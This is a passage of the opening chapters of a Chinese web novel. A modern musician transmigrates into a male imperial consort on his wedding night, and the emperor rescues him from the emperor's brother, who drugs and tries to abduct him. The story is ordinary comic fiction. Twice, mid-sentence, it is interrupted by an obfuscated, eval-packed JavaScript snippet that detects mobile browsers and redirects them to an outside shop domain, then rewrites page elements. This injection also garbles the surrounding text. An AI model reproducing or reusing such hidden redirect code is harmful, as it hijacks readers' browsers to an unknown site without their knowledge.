《沙雕宠妃抢救中》 1. 修罗场 【恭喜宿主重生,世界载入中——】 曲延睁开眼,眼前隔了一层水雾似的,只见明晃晃的红与水波似的绿交错,随着视线的晃动,闪过星星点点的光晕。 【盛元十六年,成帝周启桓驾崩,七月飞雪,举国哀悼。次年开春,新帝周焱枫继位,使先帝后宫妃嫔二十余人为先帝殉葬,以安亡魂。】 没有感情的机械音回荡在脑海,曲延晃了晃脑袋,听到叮叮当当清越声响,来自自己身上。 【现在是盛元十五年。】 曲延低下头,摸到精细华美的刺绣,大红的绸缎上,比发丝还要细软的金线勾勒出栩栩如生的凤凰与龙,两串流萤般的玉石于腰间垂坠而下,反射幽幽烛光。 头重脚轻,曲延抬手触到发顶的金冠,非常瓷实地固定在发髻上,金簪垂下细细的珠链,那珠子红绿交错,间杂金珠,每一颗都有雕饰,精美异常。 机械音还在继续:【宿主身份载入中——】 【你是大周朝世代功勋,护国公曲家小公子,姓曲名延,字少灵。今年二十有五,因自小痴傻,难以娶亲,长大后曲家将你献入宫中以稳定曲家在朝中地位。】 曲延慢慢从晕眩中缓过来,雾般的世界在他眼前水落石出,宛如一副画卷徐徐展开。 红的是龙凤蜡烛与喜帐,绿的是层层珠帘与雕梁画柱,红纱垂至玉砌地砖,火树银花般的枝形烛台照亮偌大殿宇的每个角落。 金灿灿,红彤彤,碧幽幽,好一个喜庆而隆重的古代婚房。 曲延坐在床边,随手一抓就是红枣花生桂圆莲子,寓意早生贵子。 “……” 【今夜正是你与成帝周启桓成亲当晚。】 空气寂静。 【宿主你没什么想问的吗?】 曲延嗓音干涩:“我只是和队友在舞台摇滚的时候不小心踩到香蕉皮,就死翘翘了?” 系统:【节哀顺变。】 曲延:“……我现在不但重生,还和皇帝结婚了?” 系统:【是的。这是一个以龙傲天为主角的世界,也就是周启桓的侄子周拾——大名周焱枫。你可以理解为,这是一本小说中的世界,只不过时间线在小说开始之前。】 曲延:“你再介绍一遍这个世界。” 系统:【盛元十六年,成帝周启桓驾崩,七月飞雪,举国哀悼。次年开春,新帝周焱枫继位,使先帝后宫妃嫔二十余人为先帝殉葬,以安亡魂。】 【现在是盛元十五年。】 曲延:“…………” 所以他穿成了一年后就会被龙傲天殉葬的,倒霉催的皇帝的男妃? 系统中规中矩地介绍完,【现在为宿主开启新手教学,完成新手教学后即可自由探索这个世界。】 机械音落下,曲延眼前凭空出现一行黑色宋体小字:是否开启新手教学?[是][否] 曲延点了[是]。 字迹水溶般缓缓消失。 然后等了足有十分钟,无事发生,这座富丽堂皇的宫殿安静得落针可闻。 曲延坐不住了:“别告诉我新手教学就是等着皇帝来临幸我。” 系统:【来了。】 曲延慌乱地站起来,“我一个大男人穿成皇帝的男妃就罢了,粉身碎骨浑不怕,要留清白在人间,我绝不会让皇帝碰我的!” 系统安慰:【别紧张,会暴露你前后都是处男的。】 曲延:“……” 一道修长的墨青色身影走进来,华服加身,眉目清俊。 纵然这皇帝形象和想象中有些出入,曲延还是设起全身防备,警惕地看着男人走近,“皇上?” 男人脚下一顿,肃穆的神情为之一松,嗓音清雅:“我也在想,我是皇帝就好了,这样今夜与你成亲的便是我。” 曲延:“???” 什么情况? 系统:【NPC身份载入中,NPC身份卡片载入完成。】 【周嵘,先帝仁帝幼子,今年二十有六,排行十二,封为荣王。原著中龙傲天的左膀右臂之一,现下与龙傲天还未完全结盟,与曲家亲近,也就是你的青梅竹马。】 随着系统音落下,周嵘隔着沉重华美的婚服捉住曲延手腕,低低地说:“少灵,跟我走。” 曲延懵圈:“跟你走?” “我已经安排妥当,只要我们出了城,前往北关,抵达渡城,那里是我的领地。从此我们远离朝堂纷争,我带你游山玩水可好?” “啊?” 周嵘哂笑一声:“你这样傻,被当成棋子送入宫中,用不了多久就会被吃得连骨头都不剩。我们必须现在就走。” 曲延的眼前弹出一行字:是否现在跟周嵘走?[愿意][不愿意] 如果和周嵘走,意味着曲延不再是皇帝的男妃,有可能避开一年后被龙傲天殉葬的结局。 但,真的有那么简单吗? 曲延拿不准该不该相信周嵘,他连荣王是个怎样的人都不清楚,冒然逃婚,或者说私奔,到底是游山玩水,还是被皇帝追杀? 是留下来静观其变,还是赌一把一年内不会被追杀至死? “……[不愿意]。”曲延最终选择。 现在跟周嵘走了,就做实了私奔,前途未卜,留在宫中至少能走一下主线剧情,从中找出一线生机。 “我不能跟你走。”曲延挣出被周嵘攥住的手腕,心中发慌,却坚定这个念头,“我不能跟你走。” 周嵘怔然,“为何?” “……我不知道,你走吧。” 周嵘脸颊肌肉抽动一下,耐着性子说:“少灵,你不懂,这皇城中最可怖之处便是皇宫,这皇宫中最难测之地便是天家。你生来纯善,怎斗得过那些深宫中的狼子野心,又怎抵得住天子一怒伏尸百万?” 【是否相信荣王?[相信][不相信]】 曲延犹豫三秒,选了[不相信],他怎么可能完全听信第一次“见面”的男人的话。皇宫是水深火热之地不错,但如果今晚跟荣王私奔,那立马就能水深火热。 曲延相信,只要他多了解当下情况,定能找出一条活路,而不是盲目地相信别人。 “我不会跟你走的。”曲延后退一步,腰间环佩叮当,华美繁复的婚服如同一座小山压在肩上,心脏由此缓缓沉下来,让他冷静。 周嵘紧盯眼前人绝秀的面容,分明还是那张脸,却多了一股从前没有的倔强与锋芒,“少灵,你当真不跟我走?要和周启桓成亲?” 曲延沉默,具体的他还没决定好要怎么做,只能走一步看一步。先了解新手村,再去外面更广大的世界,这才是最安全的做法。 “少灵,我该拿你怎么办呢。”周嵘忽而叹了一声,动作迅捷,用一方洁净雪白的帕子捂在曲延口鼻。 曲延猝不及防吸了一口,当即神智昏沉,四肢绵软,整个人如同踩在棉花上站立不稳。 周嵘打横抱起他,垂下黑沉沉的眸子,“少灵,你是我的。任何人都不能夺走你。” 曲延想挣脱,却提不起半丝气力,“操……” 周嵘侧耳贴近他唇畔,“你说什么?” “……操……你大爷。” “……”周嵘只当没听到,抱着他走出内殿。 曲延脑袋无力地靠在周嵘肩头,发冠愈发沉重,强撑着晕眩没有闭上眼睛,倏然看到倒了一地的七八个粉衣宫女——怪不得整座宫殿安静得落针可闻。 他在脑子里问候系统全家:“所以我选择[不愿意][不相信]的意义是什么?” 系统:【人类的一切选择都没有意义,该发生的还是会发生。】 曲延:“……” 所以新手教学也没什么意义,还是要靠曲延自己。 两个字,坑爹。 走出偌大的宫殿,星辰密布,黑穹无云。曲延的目光掠过宫殿庄严的飞檐翘角,一块深色的匾额倏然撞入眼帘,上刻三个金色篆体大字:夜合殿。 不知怎的,莫名眼熟。 夜合殿外是一条高墙耸立的甬道,铺满青石,浸着下过雨的湿润,在星夜下反射出粼粼波光。这条甬道名为清凉巷,顾名思义,在两旁高墙的掩护下,鲜有日照,是这座岑寂巍峨的皇宫里最清凉所在。 长长的甬道中只有周嵘稳健的脚步声,他确实安排妥当,宫女,侍卫,迷晕的迷晕,调走的调走。 只要走出甬道尽头的永定门,避开金乌殿,从小道秘密离开皇宫,从此天高海阔任鸟飞。 帝王大婚,此时的帝王应在天玑台祭祖告天,行祈福之礼。 而不是在作为前朝主要议事场所的金乌殿。 既出永定门,夜风乍起,裹挟一丝合欢花的甜腻气息,以及若有似无的桐油味——贵族兵器时常保养,用油脂与香料调和而成“擦枪油”,根据香气不同,也分出个等级。 大周朝历代皇帝钟爱合欢花气息,宫中处处皆有此花树的踪影,自然而然的,以合欢花制成的香料风靡大周朝,身价水涨船高,并非普通人家用得起。 而能以合欢花制成的“擦枪油”擦拭兵刃的,只有帝王直属的大内禁军。 周嵘蓦地停下脚步,手背青筋暴起,面沉如水。 与此同时响起的,是鼓点般密密响起的整齐划一的步伐声,以及冷兵器出鞘的声音。 曲延心下一惊,费力地抬眼望去,但见一座更加宏伟壮观的金色大殿,煌煌灯火中,几列黑甲卫兵呈三面包抄,各个手持利剑长矛,肃穆以待。 金灿灿掩映,黑压压一片排山倒海而来。 须臾,他们如同被抽刀断开的水流分列两旁,漏出身后的金色大殿来。 金色大殿前矗立一道极为高大峻拔的身影,一袭玄色华服,其上流淌着金色纹路,仔细看就会发现那是腾飞的龙,与曲延的婚服用同一种细软的金线刺绣而成。 曲延微微睁大眼睛。 系统在他眼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647425|188212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迅速生成一张身份卡:【周启桓,大周朝第十代皇帝,二十九岁,先帝第八子,中宫嫡出,一出生就是太子。十四岁登基,迄今十五年,励精图治,收复失地,统一山河,将在一年后“过劳死”。】 曲延:“……” 原来世上还有比他更倒霉的。 此情此景,用风声鹤唳来形容也丝毫不为过。而帝王疏淡冷沉如玉石相击的声音和着夜风拂过金乌殿前:“荣王,放下他。” 周嵘本是清俊淡雅的面容,此时夜色的笼罩下竟然添了一丝狰狞,他咬紧牙关,半晌才从牙缝间挤出一句:“皇兄,你要什么我都可以让,只有他……不行。” 漫天星辰闪烁,宫灯火烛摇曳,帝王走出那一片安全的浮光掠影。 “陛下,不可。”身侧的小脚宦官赶忙细声制止。 帝王不语,唯有腰间长串的“禁步”发出细碎清音,叮咚如流水。走过“排山倒海”的禁军,没有片刻犹豫。 周嵘猝然后退半步,吼道:“弓箭手!” 随着吼声落下,四方墙壁屋檐上陡然亮出无数银光! 宦官惊得大叫:“护驾!护驾!” 周嵘冷笑一声:“皇兄,你以为我什么都没准备吗?” 黑甲禁军列战阵,一小拨护在帝王身前,然而帝王脚步没有半丝迟疑,仍朝危险的中心走去。 周嵘脸色微变,“别过来!” 不远不近三丈距离,帝王停了下来,夜色中,他的眼瞳泛着冷翠色调,如冰封的湖泊。他抬起骨节分明修长如琢如磨的手,食指泄下墨玉扳指流光,朝曲延伸出手,嗓音疏淡冷静:“曲君,过来。” 曲延无法挪开自己的眼睛,他从未见过这样的人,只是站在那里,便如同神祇。 华服珠玉,良辰美景,不及帝王半分容色。 “皇兄!”周嵘瞪着哪只蕴藏雷霆万钧的至尊之手,“你明知曲延痴傻,明知朝堂风云诡谲,明知我与他自小亲近,你却执意纳他为妃,让他成为大周朝史上第一个男妃,沦为笑柄!” 笑柄曲延:“……” “这就是你待我的兄弟之义?”周嵘用力握紧曲延手臂,“既然你待我不义,那便休怪我不仁。”他的目光扫过四壁淬着冷光的弓箭,似在下最后的决心。 周嵘的决心曲延感受到了,因为他的手臂被抓得很疼,活像被老虎钳夹住,差点猛男落泪。 场面僵持,箭已在弦,剑已出鞘。 夜色都似染上肃杀之气,星芒与灯火交错闪烁。 帝王扫一眼周嵘,“荣王,现在收手,你还是朕的弟弟。” 周嵘腮帮微微抽搐,没有作答。 帝王目色清冷,眼底如渊,谁也瞧不出他的情绪。那神祇般的目光落到红衣墨发的曲延身上,“他很不情愿。” 周嵘微怔,从牙缝挤出声音:“少灵是自愿跟我走的。” 这就纯属胡说八道了。 曲延蓄了一点力气,深呼吸,发出威震山河的两个字:“放屁!!!” 此言一出,私下静寂。 周嵘脸色变幻,终是叹息一声,丢下掷地有声的两个字:“放箭!” 刹那间,万箭齐发,直指帝王。 宦官尖叫不迭:“护驾!护驾!!”嗓音淹没在冷兵器交接声中。 如一场暴雨,倏然而落。 曲延瞳孔一颤,他瞧见一身流金溢彩玄色婚服的帝王,竟矗立在原地纹丝不动,任凭箭雨如梭,剑光流淌。 某一瞬间的冷色与暖光照亮帝王墨绿的眼睛,那般沉静且笃定地望着曲延。 帝王薄唇轻启。 曲延听不见,却能读懂:过来。 帝王的手,始终朝向曲延。 电光火石间,曲延来不及多想,猛然拔下金冠上的珠链簪子,刺向周嵘肩膀! 珠链叮铃,周嵘眼中闪过不可置信,吃痛下臂膀一软。曲延趁机挣脱钳制,从他的怀中跃下,踉跄奔出。周嵘又怎会放他,一手朝他抓去:“少灵!” 药性还在,曲延脚步虚浮,根本不可能跑得过周嵘。 千钧一发之际,一柄剑破风而来。 那只是一柄普通的剑,在帝王的手中却如一柄无双神兵利器,准确无误地掠过曲延飘飞的衣摆,咄的一声钉在周嵘脚前的地砖中! 周嵘下意识驻足,错过抓住曲延的毫厘之差,登时目眦欲裂。 与此同时,曲延动如脱兔往前大步跃去,却是双腿虚软,支撑不住。 下一秒,帝王的手稳稳托住他后腰,单手将他提了起来,让他如同一只轻盈的小鸟,旋转半圈,背对陨石般下坠的箭雨。 帝王袍袖随风而动,眼疾手快握住一支飞驰而来的箭矢,只差半分,就射中曲延脖颈。 曲延仰脸睁大眼睛看着近在咫尺的帝王,心脏凶猛地砸着胸腔。 漫天飞箭与兵刃相击,帝王目光低垂,高大的身躯完全将曲延笼罩,“……别怕。” 2. 合欢花 千年前的苍穹澄澈通透,靛蓝夜幕缀着大颗亮如钻石的星辰,九州山河笼罩在静谧的夜色下,人间灯火与天上星辉交相呼应。 皇城宫变,在此辽阔旷远的大地上也只是一件再小不过的事。 箭矢射尽,刀剑归鞘,斗转星移间落幕了。 曲延被周启桓护在身前,未伤分毫。 弓箭手悉数被制伏。周嵘本有趁乱逃走的机会,但他没有,大内禁卫统领横剑在他脖颈,他自岿然不动,只一双通红的眼睛盯着如隔云端触不可及的曲延。 四下肃静,禁军统领问:“陛下,如何处置?” 周启桓看也不看周嵘,淡声道:“交由大理寺,择日再审。” 没有立即定下罪名,这是对兄弟之情最后的宽容。 “是!”禁军统领铮然收剑,“荣王殿下,请。” 周嵘恍若未闻,捏紧手指,直视帝王高大的身影像是要盯出一个窟窿来,一字一字质问:“皇兄,从小到大你什么都有,为什么还要抢我的?” 周启桓臂膀松开些许,怀中之人当即四肢虚软,摇摇欲坠。隔着华丽厚重的婚服,他双手握住曲延瘦削肩臂。 “为什么?!”周嵘厉声再问。 周启桓侧过身,疏淡的目光穿透清凉夜色落在周嵘身上,语调平静如流深潭水:“朕,从未抢过属于你的东西。” 周嵘一张脸如同烙铁般,“少灵……是先认识我的。” 帝王不再无谓纠缠,低声问曲延:“能走?” 曲延脑子嗡嗡,头晕目眩,没工夫理会皇家爱恨情仇,挣扎着走了两步,“我自己能走……”话音未落就朝前方扑去。 “曲妃娘娘!”宦官尖细的叫声就跟鬼似的。 吓得曲延差点当场昏厥,曲妃娘娘??叫他吗?你才娘娘,你全家都娘娘! 即将与潮湿的大理石地砖来个亲密拥抱时,一只骨节分明而有力的手,熟稔地捞起曲延。 身娇体弱的曲延顺势再次依偎在帝王怀中:“……” 周启桓直接打横抱起曲延,稳步往永定门走去。 尽管曲延心中别扭,奈何药性未散,只能暂时当个“残废”。 周嵘将这一幕看在眼里,脸色青白交错,腮帮鼓颤,从喉咙中艰涩吐出一句:“少灵,我不会放弃你的。” 曲延头重脚轻,认命地靠在帝王肩上,眼前再次掠过清凉巷长长的甬道墙壁,一线星光坠落,提着宫灯的宫女在前方引路,照出一片敞亮。 细碎的玉石响动,帝王步伐稳健,如一艘茫茫大海上的航船,而夜合殿便是前方的灯塔。 星夜将无关的人与事落在遥远的天边。 曲延隐隐嗅到一股微甜的冷香,来自帝王身上,这香气让他怀念,仿佛很久很久以前闻到过。但无论如何回想,也想不起在哪里闻过。 有科学研究证明,当人在回忆某些画面时,最先记起的,是气味。 曲延实在想不了太多,神思逐渐昏沉下去——在这洞房花烛夜,他不该如此不警惕,奈何身体发出电量告罄的信号。 “睡吧。” 曲延毫无负担地睡了过去。 不知过了多久,他一个激灵醒来—— “陛下!请看在至亲兄弟的份上,饶恕荣王这一次吧陛下!” 曲延扭头看到一个须发皆白的老人,身着暗蓝鹤纹衣袍,头戴乌纱冠,正隔着手帕给他诊脉。帝王威坐一旁,长眉微蹙。 曲延听着殿外中年女子凄厉的一声声,脑壳生疼,“叫魂呢?” 御医屏气,并不吭声。 面白无须的宦官大总管吉福颠着小脚跑出去,“哎呦,徐太妃快快起来。有什么话,明日再说不迟,陛下已经歇下了。” “陛下若是不放了荣王,本宫今夜长跪不起!” “您这又是何必,陛下还未发落荣王殿下,您也不必心急啊。” “本宫要见陛下。” “陛下真的已经歇下了,实在不方便。您还是先回去,等明日陛下消了气,再为荣王说情。今夜陛下大婚,荣王此举已是触怒龙颜,如今您又惊扰了曲妃娘娘,御医正在为他诊治。” “诊治?” “曲妃娘娘本就身子骨不好,如今又吸了迷药,不知什么时候才能好。” 徐太妃脸色惨白,踉跄着从地上爬起来。 吉福上前扶了一把,“太妃,您想荣王好,也该多劝他珍重自身,断了念想。” 徐太妃点头,在贴身嬷嬷的搀扶下黯然走了。 目送徐太妃出了夜合殿门,吉福折返殿内,隔着重重珠帘慢声回禀:“陛下,徐太妃回去了。” 帝王问御医:“曲君如何?” “曲妃娘娘吸入是曼陀罗花粉。”年纪大了,御医难免拖长语调,嗓音浑浊,“此花种子与花朵具有很强的麻醉作用,幸而娘娘吸食不多,吃些参汤,将养半月也就好了。” 曲延昏昏沉沉地听着,等御医颤颤巍巍写了药方,命药童取药来,他才慢半拍反应过来,垂死病中惊坐起——没坐起来。 像一条蹦跶的咸鱼,他又摔回床上,“好硬……” 荣王这个老六乘二,害得他半个月都要躺在床上吗? 周启桓命人取一床被褥,铺在曲延身下。 曲延获得柔软的大床,不过半会儿,他额上冒出细汗,“好热……” “冰鉴抬进来。”周启桓道。 两个小太监没抬动,吉福招了两个侍卫,才堪堪将足有千斤重的青铜冰鉴抬入内殿,丝丝凉气扩散开来。 曲延掀开被子凉快,好奇地盯着“古代文物”冰鉴,“这么大冰块,从哪儿弄的?” 吉福笑着回道:“宫中的冰都是冬日开采藏在冰窖中,到夏季就能用上。娘娘怕不是忘了,那一年您迷路进了冰窖,差点就……” 曲延盯一眼比冰块还要冰的帝王,没有追问。 吉福眼珠子一转,笑吟吟道:“陛下,娘娘,该喝合卺酒了。” 桌上龙凤烛高照,金杯熠熠,白玉壶中盛了紫红葡萄美酒。小巧玲珑的八样干果,八样糕点。曲延的肚子咕噜叫了一声。 周启桓一瞥曲延,“曲君不宜饮酒,换成参汤。” 吉福应声:“遵。” 不多时,专门给曲延准备的参汤好了,周启桓将其注入合卺杯中,端给曲延。 “这看着不太好喝。”曲延望着参汤,“像一泡尿。” 周启桓望着他,不做声。 周遭鸦雀无声。 冷场。 “……”曲延默默一口干了,果然不太好喝,但也不难喝。 周启桓静默地将自己那杯酒一饮而尽,淡声道:“吉福,取些蜜饯。” 喝了参汤,吃了蜜饯和糕点,曲延胃里没那么空虚,很快倦意泛上来。几个宫女入内伺候他简单洗漱后,周启桓让他早些歇息。 曲延麻溜地躺平,小心翼翼问了一句:“你呢?” 听到“你”这个称呼,周启桓微微一顿,“朕有奏疏需要处理。” 看来不会入洞房,曲延挥挥手,“陛下真是日夜操劳,一代明君,实乃江山社稷之福也。慢走不送。” “……” 【宿主,早上好。恭喜通过新手教学,现在发布正式任务。】 曲延一大早醒来听到这句,差点起床气犯了,“你爸的之前可不是这么说的,过了新手教学就可以自由探索世界呢?” 系统:【自由探索和正式任务并不矛盾。】 曲延虎着脸,“说。” 系统:【正式任务需要从本世界的设定开始说起……】 曲延捂住耳朵,“别哔哔,有屁快放。” 系统:【……你的正式任务只有一个,阻止龙傲天开后宫。】 “开后宫?” 【这就要从……】 “没兴趣。”曲延打断,宛如一条咸鱼,“他开不开后宫关我屁事。” 【……】 【龙傲天一年后就要登基了呢。到时后宫妃嫔都会殉葬呢。龙傲天开后宫确实不关你屁事了呢。】系统居然能用机械音阴阳怪气。 曲延:“……” 曲延:“你把上一章设定再背给我听听。” 【盛元十六年,成帝周启桓驾崩,七月飞雪,举国哀悼。次年开春,新帝周焱枫继位,使先帝后宫妃嫔二十余人为先帝殉葬,以安亡魂。】 曲延沉思,“这和龙傲天开后宫有什么关系?” 系统:【龙傲天的这些后宫,个个都是他登基的基石。上到丞相之女,下到郡守千金,大家闺秀,小家碧玉,女将军,女首领,只要是有权有势的美女,就没有他拿不下的。】 “这不妥妥的种马。” 【毕竟是男频文。】 曲延懂了,原来这位龙傲天百分之五十靠女人上位,百分之五十靠捡漏。男频基操,主角在酷炫狂霸拽的路上,美女财富权位通通收入囊中。 而本书的龙傲天更是个大聪明,他勾搭的都是身家不错的女人,贪图的自然是她们背后的势力。这是他稳坐帝位相当重要的一步棋。 所以阻止龙傲天开后宫,其实就是延缓龙傲天登基的时间,为殉葬的大冤种嫔妃们与倒霉过劳死的帝王争取机会。 曲延问:“这样的话就会偏离这个世界的主线,你为什么要这么做?” 系统机械音一成不变:【正式介绍一下,我叫晋江扫黄系统,编号188,你可以叫我爸爸,而不是你爸的。】 曲延震惊:“晋江这么牛逼,都管到外站了?” 系统:【一个名称而已,晋江是清水文的代表,脖子以下不能写,主神觉得用于扫黄很好,就挪用了。】 曲延由衷感叹:“扫黄扫到另一个世界,你们比晋江还牛逼。” 曲延接受了主线任务,阻止龙傲天开后宫。 这意味着此后曲延将和龙傲天站在对立面,选择周启桓阵营。身为男妃,曲延也没多少选择,与其静等一年后被龙傲天殉葬,不如放手一搏。 皇帝妃嫔的清晨,从十几个宫女鱼贯而入开始。 她们手捧洗漱用具、清水、茶水、花瓣、脸巾、衣裳、香炉,伏低纤瘦的身躯,娇声恭敬地喊:“曲妃娘娘万福。” 曲延:“……一定是我打开一天的方式不对。” 他不由分说将这些严格挑选出来的宫女赶出去,自己起床洗漱。 吃饭时,这些宫女再次鱼贯而入,“娘娘万福,请用早膳。” 曲延:“……”饭还是要吃的。 不得不说,皇宫的早餐朴素却鲜美,肉馒头、蟹黄包、甜粥、煎鱼、羊肉羹、素菜、酥饼、糖糕、酥酪……饭后还有梅子解腻。 曲延吃完肚皮溜圆有些晕碳,又躺下了。 过了两小时,御医院送了参汤过来。 曲延喝了参汤,躺到中午,又开始吃饭。吃完又躺着,除了中间解决一下酸胀的膀胱,基本没有离开寝殿。 这里不得不提一句大周朝妃嫔的卫生间,有马桶,有尿壶,有洗手台,空间宽敞,没什么异味。好奇心驱使曲延考察了一下,主要是因为马桶中铺垫了厚厚一层木炭沙子。 “这不就是古代版的猫砂盆?”曲延研究好一阵,“哎嘿,我也是用上猫砂盆了。” 晚间,曲延正享受一人晚餐,忽听一道细长的太监音:“陛下回宫——” 宫女太监跪成一片,除了曲延。 帝王在外殿屏风后面被伺候着褪下沉重的袍饰,换上玄青色常服,这才走进内殿。 周启桓步伐稳健,一米九的大个踩在坚实的木地板上竟没多大声音。 曲延端着比脸还大的碗,吃得津津有味,“陛下回来啦,一起吃呀。” 周启桓顶着一张冰山脸坐在桌边。 看着那一桌残羹剩菜,饶是笑口常开的吉福也有些挂不住,“陛下,是否重新传膳?” 周启桓:“不必。” 高冷的帝王开始用膳。 曲延发现周启桓的碗比自己的小了一大圈,“……那么小的碗,吃得饱吗?换大一点的吧。” 周启桓:“曲君用的,是汤碗。” 曲延:“……” “你胃口很好。” “……还行。”都怪御膳太好吃了。 周启桓只吃了碗粥,配一点小菜,便放下筷子,漱口,洗手,擦拭,然后去处理公务。 吃饱喝足,曲延洗了澡躺在床上,翘着二郎腿颠了足有半小时。 系统忍不住出声:【宿主,请注意形象。】 曲延:“我做有氧运动呢。哎你说,周启桓是不是胃不好?那么大个子,吃那么少。” 系统:【胃是情绪器官。】 曲延:“你是说,他心情不好?” 系统:【假如你是皇帝,每天忙到半夜,早上四五点就要起床上朝,一天睡眠不足五小时,你会不会心情不好?】 曲延不颠腿了,“我不光心情不好,还想毁灭世界。” 系统:【所以你当不了皇帝,要么勤勤恳恳当明君,万人称颂;要么庸庸碌碌当昏君,唾骂千年。】 曲延觉得自己要是当了皇帝,铁定是被唾骂千年的那个。 他掐指一算,这样不行,就算阻止了龙傲天开后宫,周启桓却在此此前过劳死,那才是真的悲催。所以他另一个任务是,确保周启桓长命百岁。 系统:【接到通知,系统升级,预计两天后可升级完毕。】 曲延来了兴趣:“升级?升级什么?” 系统直接下线。 “……” 曲延直到睡着,也没见着周启桓。 第二天醒来同样没看到周启桓。 都说神龙见首不见尾,大周朝的皇帝是不见首也不见尾。如果在现代,曲延给媒体投稿,标题准是:震惊!新婚丈夫冷落妻子,究竟是人性的扭曲的还是道德的沦丧? 这是坏事也是好事,说明周启桓是正人君子,不会强迫曲延洞房。 唯一可以证明周启桓存在的,就是晚上他会回来用膳。曲延醒来时在床里面,外面有被睡过的痕迹与冷香。 曲延专门抱住被子陶醉地闻了闻,忽然觉得自己有点变态…… “我这是干嘛呢。”曲延一脚踢开被子。 吃完晚饭,周启桓又去批阅奏疏。 第三天,亦复如是。 曲延怀疑自己陷入了循环,否则怎么每天过得一模一样…… 他坐不住了,穿过连廊,自动寻去书房。 走到一半,曲延驻足疑惑:“……我怎么知道书房在哪儿?” 遥遥的只见一个矮胖的身影颠着小脚跑来,顷刻到了眼前,正是笑口常开的吉福,“曲妃娘娘,您可算来了。还以为你入了宫束缚,不来陛下这里了。” 曲延怔愣,若有所思:“我以前经常来?” “那是自然。”吉福一脸怀念,“娘娘还是护国府小公子的时候,就常往宫中跑。您一来宫中,就围着陛下转,陛下走到哪儿,您是跟到哪儿,就跟一条小尾巴似的……哎呦,娘娘恕罪。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647426|188212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 曲延:“无妨,继续说。” 吉福观察曲延脸色,见他并未生气,舒口气说:“老奴嘴笨,娘娘是伴着陛下长大的,外界的传言真真假假,娘娘心里有数就好。” 曲延问:“我不是和荣王青梅竹马吗?” 吉福脸色讪讪,“宫里统共就那么几位皇子,娘娘自然都识得。” “哦?” 吉福就跟接满水的瓢似的,一咕噜全都倒了出来。 夜合殿中庭栽种着一棵古老庞大的合欢树,枝叶开散如伞,绯色扇形花瓣重重叠叠收起来,云蒸霞蔚般氤氲在夜色中,幽香满庭。 随着吉福的描述,曲延的思绪发散在那幽香中,他的灵魂仿佛透过小傻子那双清澈的眼睛,看到一幅水雾般缥缈迷离的景象—— 小傻子每次进宫,总是跟在周启桓后面,走哪儿都跟着,不怎么说话,像一只安静的猫。 小傻子喜欢坐在周启桓的书房里,捧着脸看帝王处理公务,期间会吃很多点心,喝很多酒酿。不知不觉醉倒趴在桌上酣睡。 小傻子迷路进了冰窖,门不知道被谁锁上,待了许久,神智昏沉手脚冰凉,差点冻死。周启桓找来,将他抱了出去。 小傻子偶然吃到民间非常好吃的糕点,用油纸包起来揣在怀里,冒着雨巴巴地进宫去送给周启桓。 小傻子说:“好吃,给你。” 打开油纸,却发现糕点已经碎成好几块,小傻子呆住了。 “碎了……” “无妨。”如天上月皎洁冰冷不可攀折的帝王,伸手拈起一小块糕点放入口中,冷翠色的眸子平静如水,“很好吃。” 风雨如晦,小傻子的眼睛一点一点亮起,双瞳剪水般倒映帝王俊美无俦的面容。 满满的,都是眼前人。 今夕何夕,见此良人。 粉雾云霞般的合欢花沐浴在星光下,随风飘摇,曲延的思绪被拉回,眼中的光景却未消退,就好像亲眼见过。 他眨一下眼睛,瞳孔放大,倒映帝王俊美无俦的面容。 恍然间以为时空错乱。 帝王凤目低垂,喉结微动,嗓音沉缓清越如玉石相击:“朕,要喝茶。” “……” 吉福猛然反应过来,惊恐万状扑通跪下:“陛下恕罪,老奴只顾着和曲妃娘娘说话,耳背没听到陛下吩咐。老奴现在就去准备。”爬起来颠着小脚一溜烟跑了。 曲延和周启桓面面相觑,莫名有些心虚。 “过来。”周启桓并未多问,转身折返回书房。 曲延老实地跟在后头。 帝王的书房门楣上挂着一块牌匾,上书“旁斋”二字。 书房内部规整大气,家具皆是紫檀木制成,一张极为宽大的黑漆翘首桌案矗立在正中,堆放着足有一米高的奏疏。这些奏疏每日从全国各地快马加鞭送来,跋涉万水千山,皇帝需要连夜批阅,给四海八方作出准确答复。 周启桓已经批阅大半,他坐下拿起一份奏疏说了句“坐”,便继续查看。 曲延坐在案边那张稍小一点的环椅上。帝王修长如玉的手拈起狼毫,蘸了朱墨在奏疏上写字,笔锋疏阔端正,曲延竟识得几个字。 ——治水乃民生根本,尔敷衍推卸,致使百姓流亡百余人,着令三日内戴罪彻查决堤之由,若无成效,罢免尔职,严惩不贷。 御笔亲题,红如残阳。 周启桓搁笔,眉心微蹙,捏了捏挺拔的山根。 曲延不懂民生大计与一国之君的烦忧,但他能感觉出来,“加班”的帝王心情很不好。这些从五湖四海飞来的奏疏,十有八九报忧不报喜,等着英明神武皇帝的决策。 望着小山似的奏疏,曲延无语,怪不得原书里周启桓“过劳死”,无论体力还是脑力,这劳动量不是一般人可以承受。 “陛下,歇息吧。明天再批阅。”书房过于安静,曲延就像说悄悄话。 工作狂帝王表示:“不必。” “……” 轻微的吱呀声中,门扉打开,吉福托着托盘,端了茶水点心进来,弓着腰生怕惊扰到似的。 他将茶水放在帝王的左手边,点心与一只白玉瓶则放在右手边,也就是曲延的面前。 “曲妃娘娘,用些点心吧。” 娘娘这个称呼实在让曲延不自在,一时不知该说什么,拈起一块软糯香甜的桂花糕吃。 